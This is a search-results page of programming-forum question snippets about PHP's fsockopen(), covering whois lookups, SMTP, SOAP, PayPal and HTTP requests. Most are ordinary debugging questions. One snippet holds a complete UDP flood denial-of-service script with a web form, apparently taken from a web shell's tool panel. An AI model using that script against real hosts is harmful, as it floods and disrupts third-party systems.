Search Results

Search found 49 results on 2 pages for 'fsockopen'.

Page 1/2 | 1 2  | Next Page >

  • Warning: fsockopen() [function.fsockopen]: unable to connect to

    - by mohanraj
    Domain name: textbox check box .com submit Warning: fsockopen() [function.fsockopen]: unable to connect to whois.crsnic.net:43 (A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. ) in C:\xampp\htdocs\check domain.php on line 35 Fatal error: Maximum execution time of 60 seconds exceeded in C:\xampp\htdocs\check domain.php on line 35

    Read the article

  • PHP fsockopen doesnt return anything

    - by Industrial
    Hi! I am modifying a PHP db wrapper for the redis database. Here's how my function looks: public function connect() { $sock = @fsockopen('localhost', '6379', $errno, $errstr, 2); if ($sock === FALSE) { return FALSE; } else { stream_set_timeout($sock, 2); return $sock; } } What I want to do is to call this function from another part in my wrapper: if ($this->connect() !== FALSE) { // Do stuff } How can I get my connect function to send a FALSE when the fsockopen isn't working? Thanks!

    Read the article

  • fsockopen() error : Network is unreachable port 43 in php [closed]

    - by hamid
    i've writed some Php code that lookup for domain (whois) but it fails !! this is some of my code : function checkdomain($server,$domain){ global $response; $connection = fsockopen($server,43); fputs($connection, "domain " . $domain . "\r\n"); while(!feof($connection)){ $response .= fgets($connection, 4096); } fclose($connection); } checkdomain("whois.crsnic.net","www.example.com"); the code work on my localhost ( apache,php,mysql, OS - Win XP ) but when i uploaded it to my host (Linux) it failed. and i always see the Below Error/message : Warning: fsockopen() [function.fsockopen]: unable to connect to whois.crsnic.net:43 (Network is unreachable) in /home/hamid0011/public_html/whois/whois.php on line 37 what should i do ? is this my host's problem or whois server ( but it work in localhost ) or my code ? TNX

    Read the article

  • Using PHP to read a web page with fsockopen(), but fgets is not working

    - by asdasd
    Im using this code here: http://www.digiways.com/articles/php/httpredirects/ public function ReadHttpFile($strUrl, $iHttpRedirectMaxRecursiveCalls = 5) { // parsing the url getting web server name/IP, path and port. $url = parse_url($strUrl); // setting path to '/' if not present in $strUrl if (isset($url['path']) === false) $url['path'] = '/'; // setting port to default HTTP server port 80 if (isset($url['port']) === false) $url['port'] = 80; // connecting to the server] // reseting class data $this->success = false; unset($this->strFile); unset($this->aHeaderLines); $this->strLocation = $strUrl; $fp = fsockopen ($url['host'], $url['port'], $errno, $errstr, 30); // Return if the socket was not open $this-success is set to false. if (!$fp) return; $header = 'GET / HTTP/1.1\r\n'; $header .= 'Host: '.$url['host'].$url['path']; if (isset($url['query'])) $header .= '?'.$url['query']; $header .= '\r\n'; $header .= 'Connection: Close\r\n\r\n'; // sending the request to the server echo "Header is: ".str_replace('\n', '\n', $header).""; $length = strlen($header); if($length != fwrite($fp, $header, $length)) { echo 'error writing to header, exiting'; return; } // $bHeader is set to true while we receive the HTTP header // and after the empty line (end of HTTP header) it's set to false. $bHeader = true; // continuing untill there's no more text to read from the socket while (!feof($fp)) { echo "in loop"; // reading a line of text from the socket // not more than 8192 symbols. $good = $strLine = fgets($fp, 128); if(!$good) { echo 'bad'; return; } // removing trailing \n and \r characters. $strLine = ereg_replace('[\r\n]', '', $strLine); if ($bHeader == false) $this-strFile .= $strLine.'\n'; else $this-aHeaderLines[] = trim($strLine); if (strlen($strLine) == 0) $bHeader = false; echo "read: $strLine"; return; } echo "after loop"; fclose ($fp); } This is all I get: Header is: GET / HTTP/1.1\r\n Host: www.google.com/\r\n Connection: Close\r\n\r\n in loopbad So it fails the fgets($fp, 128);

    Read the article

  • Do sockets opened with fsockopen stay open after you leave the page via your browser?

    - by Rob
    if(isset($_GET['host'])&&is_numeric($_GET['time'])){ $pakits = 0; ignore_user_abort(TRUE); set_time_limit(0); $exec_time = $_GET['time']; $time = time(); //print "Started: ".time('h:i:s')."<br>"; $max_time = $time+$exec_time; $host = $_GET['host']; for($i=0;$i<65000;$i++){ $out .= 'X'; } while(1){ $pakits++; if(time() > $max_time){ break; } $rand = rand(1,65000); $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . round(($pakits*65)/1024, 2) . " MB) packets averaging ". round($pakits/$exec_time, 2) . " packets per second \n"; echo '<br><br> <form action="'.$surl.'" method=GET> <input type="hidden" name="act" value="phptools"> Host: <input type=text name=host value=localhost> Length (seconds): <input type=text name=time value=9999> <input type=submit value=Go></form>'; }else{ echo '<br><b>UDP Flood</b><br> <form action=? method=GET> <input type="hidden" name="act" value="phptools"> Host: <br><input type=text name=host value=localhost><br> Length (seconds): <br><input type=text name=time value=9999><br> <br> <input type=submit value=Go></form>'; } I've been looking around and asking my friends for awhile now, if I use this script to tell the server to open the sockets using fsockopen, if I leave the webpage will the sockets remain open until the duration is completed?

    Read the article

  • fsockopen soap request

    - by gosom
    I am trying to send a SOAP message to a service using php. I want to do it with fsockopen, here's is the code : <?php $fp = @fsockopen("ssl://xmlpropp.worldspan.com", 443, $errno, $errstr); if (!is_resource($fp)) { die('fsockopen call failed with error number ' . $errno . '.' . $errstr); } $soap_out = "POST /xmlts HTTP/1.1\r\n"; $soap_out .= "Host: 212.127.18.11:8800\r\n"; //$soap_out .= "User-Agent: MySOAPisOKGuys \r\n"; $soap_out .= "Content-Type: text/xml; charset='utf-8'\r\n"; $soap_out .= "Content-Length: 999\r\n\r\n"; $soap_put .= "Connection: close\r\n"; $soap_out .= "SOAPAction:\r\n"; $soap_out .= ' Worldspan This is a test '; if(!fputs($fp, $soap_out, strlen($soap_out))) echo "could not write"; echo "<xmp>".$soap_out."</xmp>"; echo "--------------------<br>"; while (!feof($fp)) { $soap_in .= fgets($fp, 100); } echo "<xmp>$soap_in</xmp>"; fclose($fp); echo "ok"; the above code just hangs . if i remove the while it types ok, so i suppose the problem is at $soap_in .= fgets($fp, 100) Any ideas of what is happening

    Read the article

  • PHPMailer, fsockopen(), possible Apache issue?

    - by danp
    I'm using PHPMailer to send out site contacts. In development, the script works perfectly with the GMail service over smtp. However, in production, inside the client's DMZ, it appears unable to connect to the SMTP service they have there. I have connected to the same service using telnet to port 25, so I know for sure it exists and is available to the server. Are there any circumstances where php might not be able to open a socket connection (fsockopen)...? The php extension openssl is loaded and ok. The error is "Unable to connect to SMTP service". Thanks!

    Read the article

  • php_network_getaddresses: getaddrinfo failed: Name or service not known

    - by Rob
    Here is a snippet of my code $fp = fsockopen($s['url'], 80, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); When I run it, it outputs: unable to connect to www.mydomain.net/1/file.php:80 (php_network_getaddresses: getaddrinfo failed: Name or service not known I can't figure out why. Any help would be greatly appreciated. EDIT: I forgot to mention that I'm using this to submit GET data to the $s['url']

    Read the article

  • using php Download File From a given URL by passing username and password for http authentication

    - by Acharya
    Hi all, I need to download a text file using php code. The file is having http authentication. What procedure I should use for this. Should I use fsocketopen or curl or Is there any other way to do this? I am using fsocketopen but it does not seem to work. $fp=fsockopen("www.example.com",80,$errno,$errorstr); $out = "GET abcdata/feed.txt HTTP/1.1\r\n"; $out .= "User: xyz \r\n"; $out .= "Password: xyz \r\n\r\n"; fwrite($fp, $out); while(!feof($fp)) { echo fgets($fp,1024); } fclose($fp); Here fgets is returning false. Any help!!!

    Read the article

  • Is there a way to check if a host is up?

    - by Rob
    I'm trying to do this in PHP. I need to check if a specified host is "up" I thought of pinging the specified host (though I'm not sure how I would, since that would require root. --help here?) I also though of using fsockopen() to try to connect on a specified port, but that would fail too, if the host wasn't listening for connections on that port. Additionally, some hosts block ping requests, so how might I get around this? This part isn't a necessity, though, so don't worry about this too much. I realize this one might get tricky.

    Read the article

  • A way to share the return value of fsockopen() between multiple pages?

    - by Chilln
    Hey, im using a connection to a server in my php script, opened with fsockopen() and i want it to share between different pages so i serialized it and saved it in a session variable but it seems that that ia a bad idea because when i do this nothing happens... Not even an error. The problem is that this connection requires a handshake so i cant reconnect everytime Another question, whats the timeout of fsockopen or does the connection stay alive if the. original php script which called it is closed?

    Read the article

  • PayPal integration woes: PDT hangs on return to site

    - by Tom
    Hi, I'm implementing PayPal IPN & PDT. After some headache & time at the sandbox, IPN is working well and PDT returns the correct $_GET data. The implementation is as follows: Pass user ID in form to PayPal User buys product and triggers IPN which updates database for given user ID PDT returns transaction ID when user returns to site The return page says "please wait" and repeat-Ajax-checks for the transaction status User is redirected to success/failure page Everything works well, EXCEPT that when using the PayPal ready PHP code for PDT to do a return POST, the page hangs. PayPal waits for a response and the user never gets back to my site. I'm not getting a fail status, just nothing. The funny thing is that once the unknown error occurs, my test domain becomes unresponsive for a short period. The code (PHP): https://www.paypal.com/us/cgi-bin/webscr?cmd=p/xcl/rec/pdt-code-outside If I comment out the POST back, it all works fine. I'm able to pin down the problem to once the code enters the while{} loop. Unfortunately, I'm not experienced enough to write a replacement from scratch for the PayPal code, so would really appreciate any ideas on what might be wrong. The POST back goes to ssl://www.sandbox.paypal.com, and I'm using button code and an authorisation token that have all been created via a sandbox test account. Thanks in advance.

    Read the article

  • Php, socket and connecting to pop3-server

    - by Ockonal
    Hi guys, I'm trying to connect to the pop3-server with php. Here is my code: $pop3Server = 'mail.roller.ru'; $pop_conn = fsockopen($pop3Server, 110, $errno, $errstr, 10); print fgets($pop_conn, 1024); Warning: fsockopen() [function.fsockopen]: php_network_getaddresses: getaddrinfo failed: Temporary failure in name resolution in /home/ockonal/public_html/mail_parser.php on line 45 Warning: fsockopen() [function.fsockopen]: unable to connect to mail.roller.ru:110 (php_network_getaddresses: getaddrinfo failed: Temporary failure in name resolution) in /home/ockonal/public_html/mail_parser.php on line 45 Warning: fgets() expects parameter 1 to be resource, boolean given in /home/ockonal/public_html/mail_parser.php on line 46 What's wrong? I'm sure in pop3-server address. It doesn't print anything.

    Read the article

  • Squirrelmail got error after installation whm

    - by Pleerock
    Just now installed whm/cpanel, created some accounts, created mail account in one of them and entered squirrelmail to check the mail. Unfortunately it gives me an error: Warning: fsockopen() [function.fsockopen]: php_network_getaddresses: getaddrinfo failed: Name or service not known in /usr/local/cpanel/base/3rdparty/squirrelmail/plugins/login_auth/functions.php on line 129 Warning: fsockopen() [function.fsockopen]: unable to connect to localhost:143 (php_network_getaddresses: getaddrinfo failed: Name or service not known) in /usr/local/cpanel/base/3rdparty/squirrelmail/plugins/login_auth/functions.php on line 129 How do I fix it? I don't know exactly, but I read some sites and maybe the problem in dns? I changed ns1.com to ns1.myhost.com in a Basic cPanel & WHM Setup P.S. Im sure that it server configuration problem, not squirrelmail, other mail clients are not working too..

    Read the article

  • sending email with gmail smtp with codeigniter email library

    - by bohemian
    class Email extends Controller { function Email() { parent::Controller(); $this->load->library('email'); } function index() { $config['protocol'] = 'smtp'; $config['smtp_host'] = 'ssl://smtp.gmail.com'; $config['smtp_port'] = '465'; $config['smtp_timeout'] = '7'; $config['smtp_user'] = '[email protected]'; $config['smtp_pass'] = '*******'; $config['charset'] = 'utf-8'; $config['newline'] = "\r\n"; $config['mailtype'] = 'text'; // or html $config['validation'] = TRUE; // bool whether to validate email or not $this->email->initialize($config); $this->email->from('[email protected]', 'myname'); $this->email->to('[email protected]'); $this->email->subject('Email Test'); $this->email->message('Testing the email class.'); $this->email->send(); echo $this->email->print_debugger(); $this->load->view('email_view'); } } I am getting this error A PHP Error was encountered Severity: Warning Message: fsockopen() [function.fsockopen]: unable to connect to ssl://smtp.gmail.com:465 (Connection timed out) Filename: libraries/Email.php Line Number: 1641 Using PORT 25/587 I got this error """A PHP Error was encountered Severity: Warning Message: fsockopen() [function.fsockopen]: SSL operation failed with code 1. OpenSSL Error messages: error:140770FC:SSL routines:func(119):reason(252) Filename: libraries/Email.php Line Number: 1641"""" I dont want to use phpmailer now. (Actually i have tried to use phpmailer,but i falied ) How to solve this problems,guys?

    Read the article

  • Swift Mailer email sending problem

    - by air
    i have downloaded Swift Mailer from their website and try to send simple email with following code <?php require_once 'lib/swift_required.php'; $transport = Swift_SmtpTransport::newInstance('smtp.example.org', 25) ->setUsername('your username') ->setPassword('your password') ; $mailer = Swift_Mailer::newInstance($transport); //Create a message $message = Swift_Message::newInstance('Wonderful Subject') ->setFrom(array('[email protected]' => 'John Doe')) ->setTo(array('[email protected]', '[email protected]' => 'A name')) ->setBody('Here is the message itself') ; //Send the message $result = $mailer->send($message); ? once i run the page it gives error Warning: fsockopen() [function.fsockopen]: php_network_getaddresses: getaddrinfo failed: No such host is known. in E:\web_sites\swift_mail\lib\classes\Swift\Transport\StreamBuffer.php on line 233 Warning: fsockopen() [function.fsockopen]: unable to connect to smtp.fiveocean.net:25 (php_network_getaddresses: getaddrinfo failed: No such host is known. ) in E:\web_sites\swift_mail\lib\classes\Swift\Transport\StreamBuffer.php on line 233 Fatal error: Uncaught exception 'Swift_TransportException' with message 'Connection could not be established with host smtp.fiveocean.net [php_network_getaddresses: getaddrinfo failed: No such host is known. #0]' in E:\web_sites\swift_mail\lib\classes\Swift\Transport\StreamBuffer.php:235 Stack trace: #0 E:\web_sites\swift_mail\lib\classes\Swift\Transport\StreamBuffer.php(70): Swift_Transport_StreamBuffer->_establishSocketConnection() #1 E:\web_sites\swift_mail\lib\classes\Swift\Transport\AbstractSmtpTransport.php(101): Swift_Transport_StreamBuffer->initialize(Array) #2 E:\web_sites\swift_mail\lib\classes\Swift\Mailer.php(74): Swift_Transport_AbstractSmtpTransport->start() #3 E:\web_sites\swift_mail\test.php(33): Swift_Mailer->send(Object(Swift_Message)) #4 {main} thrown in E:\web_sites\swift_mail\lib\classes\Swift\Transport\StreamBuffer.php on line 235 if i remove the line $result = $mailer->send($message); then page execute and no error message display, as soon as i add above line to send email, i got error. my outgoing server, port and user id & passwords are correct in my file. Thanks

    Read the article

  • Mail not being sent when using phpmailer

    - by mithunmo
    I am using the following code to send mail to a smtp server . <?php // example on using PHPMailer with GMAIL include("PHPMailer/class.phpmailer.php"); include("PHPMailer/class.smtp.php"); // note, this is optional - gets called from main class if not already loaded $mail = new PHPMailer(); $mail->IsSMTP(); $mail->SMTPAuth = true; // enable SMTP authentication $mail->Host = "mucse491.eu.xxxxx.com"; // sets GMAIL as the SMTP server $mail->Port = 143; // set the SMTP port $mail->Username = "[email protected]"; // GMAIL username $mail->Password = "xxxx"; // GMAIL password $mail->From = "[email protected]"; $mail->FromName = "mithun"; $mail->Subject = "This is the subject"; $mail->AltBody = "This is the body when user views in plain text format"; //Text Body $mail->WordWrap = 50; // set word wrap $mail->AddAddress("[email protected]","First Last"); $mail->IsHTML(true); // send as HTML if(!$mail->Send()) { echo "Mailer Error: " . $mail->ErrorInfo; } else { echo "Message has been sent"; } ?> When I run it from the command line I get the following error PHP Deprecated: Function eregi() is deprecated in C:\wamp\www\phpmailer\class.p hpmailer.php on line 593 Deprecated: Function eregi() is deprecated in C:\wamp\www\phpmailer\class.phpmai ler.php on line 593 PHP Warning: fputs() expects parameter 1 to be resource, integer given in C:\wa mp\www\phpmailer\class.smtp.php on line 213 Warning: fputs() expects parameter 1 to be resource, integer given in C:\wamp\ww w\phpmailer\class.smtp.php on line 213 Mailer Error: SMTP Error: Could not connect to SMTP host. When i run from the browser I get the following error Deprecated: Function eregi() is deprecated in C:\wamp\www\phpmailer\class.phpmailer.php on line 593 Warning: fsockopen() [function.fsockopen]: php_network_getaddresses: getaddrinfo failed: This is usually a temporary error during hostname resolution and means that the local server did not receive a response from an authoritative server. in C:\wamp\www\phpmailer\class.smtp.php on line 122 Warning: fsockopen() [function.fsockopen]: unable to connect to mucse491.xx.xxxxx.com:143 (php_network_getaddresses: getaddrinfo failed: This is usually a temporary error during hostname resolution and means that the local server did not receive a response from an authoritative server. ) in C:\wamp\www\phpmailer\class.smtp.php on line 122 Mailer Error: SMTP Error: Could not connect to SMTP host. Please someone guide me .

    Read the article

  • php codeigniter mail function not working

    - by Hmwd
    Hi, i wa trying to do mail with php codeigner, but unfortunately its not working. the error which i got was the following; somebody please help me.. A PHP Error was encountered Severity: Warning Message: fsockopen() [function.fsockopen]: unable to connect to localhost:8025 (Connection refused) Filename: libraries/smtp.php Line Number: 105 Thanks in advance Ahamed

    Read the article

  • Paypal IPN Handler for Cart

    - by kimmothy16
    Hey everyone! I'm using a Paypal add to cart button for a simple ecommerce website. I had a Paypal IPN handler written in PHP that was successfully working for 'Buy it Now' buttons and purchasing one item at a time. I would run a database query each time to update the store's inventory to reflect the purchase. Now I'm upgrading this store to a 'cart' version so people could check out with multiple items at a time. Would anyone be able to tell me, in general, how my IPN handler would need to be altered to accommodate this? I'm unsure of what a response from Paypal looks like for a cart purchase as opposed to a buy it now purchase. Thanks, any help or examples of working IPN cart scripts would be very appreciated! My current code is below.. // Paypal POSTs HTML FORM variables to this page // we must post all the variables back to paypal exactly unchanged and add an extra parameter cmd with value _notify-validate // initialise a variable with the requried cmd parameter $req = 'cmd=_notify-validate'; // go through each of the POSTed vars and add them to the variable foreach ($_POST as $key => $value) { $value = urlencode(stripslashes($value)); $req .= "&$key=$value"; } // post back to PayPal system to validate $header .= "POST /cgi-bin/webscr HTTP/1.0\r\n"; $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; $header .= "Content-Length: " . strlen($req) . "\r\n\r\n"; // In a live application send it back to www.paypal.com // but during development you will want to uswe the paypal sandbox // comment out one of the following lines $fp = fsockopen ('www.sandbox.paypal.com', 80, $errno, $errstr, 30); //$fp = fsockopen ('www.paypal.com', 80, $errno, $errstr, 30); // or use port 443 for an SSL connection //$fp = fsockopen ('ssl://www.paypal.com', 443, $errno, $errstr, 30); if (!$fp) { // HTTP ERROR } else { fputs ($fp, $header . $req); while (!feof($fp)) { $res = fgets ($fp, 1024); if (strcmp ($res, "VERIFIED") == 0) { $item_name = stripslashes($_POST['item_name']); $item_number = $_POST['item_number']; $item_id = $_POST['custom']; $payment_status = $_POST['payment_status']; $payment_amount = $_POST['mc_gross']; //full amount of payment. payment_gross in US $payment_currency = $_POST['mc_currency']; $txn_id = $_POST['txn_id']; //unique transaction id $receiver_email = $_POST['receiver_email']; $payer_email = $_POST['payer_email']; $size = $_POST['option_selection1']; $item_id = $_POST['item_id']; $business = $_POST['business']; if ($payment_status == 'Completed') { // UPDATE THE DATABASE }

    Read the article

  • How to establish a socket connection from iPhone to a Apache server and communicate via PHP?

    - by candoyo
    Hi, I am working on an iPhone game which is depended on a LAMP server. I want to create a "event" based system where the apache server sends an event to the iphone. For this, I am thinking of using "CFStreamCreatePairWithSocketToHost" to connect to port 80 of the apache server. I am able to successfully connect to the server and open a read and write stream via the iPhone, but I am not sure how to send data to the iphone using PHP running from the LAMP server to the iPhone. I think I can use fsockopen in php to open a socket connection and write data to that socket. I tired running this code $fp = fsockopen("tcp://localhost", 80, $errno, $errstr); if (!$fp) { echo "ERROR: $errno - $errstr<br />\n"; } else { echo"writing to socket "; fwrite($fp, "wwqeqweqw eqwe qwe \n"); //echo fread($fp, 26); fclose($fp); echo "done"; } But, I dont see anything being read on the iphone.. Any idea what's going on, or how to accomplish this? Thanks!

    Read the article

  • http_post_data adding extra characters in response

    - by Siyam
    Hey Guys I am getting some extra characters like '5ae' and '45c' interspersed along with valid data when using http_post_data. The data I am sending is XML and so is the response. The response contains these weird characters thats making the XML invalid. If I use fsockopen I do not have this issue. Would really like some input on this.

    Read the article

  • What's holding up my PHP script?

    - by gAMBOOKa
    We've got a PHP crawler running on our web server. When the crawler is running, there are no cpu, memory or network bandwidth spikes. Everything is normal. But our website (also PHP), hosted on the same server, stops responding. Basically the crawler blocks any other php script from running. What could be the problem? EDIT: ** fsockopen is being used to download files to crawler! **

    Read the article

  • PHP curl post to login to wordpress

    - by Sbad
    I am using php curl to login to wordpress behind-the-scenes as described here: Wordpress autologin using CURL or fsockopen in PHP However my script is not setting the cookies necessary to retain the wordpress session. Instead they are being sent back to my script and stored in cookies.txt. Both the curl script and the wordpress login are on the same server in different directories. Do I need to write another curl script to manually set the wordpress cookies? Is that possible?

    Read the article

1 2  | Next Page >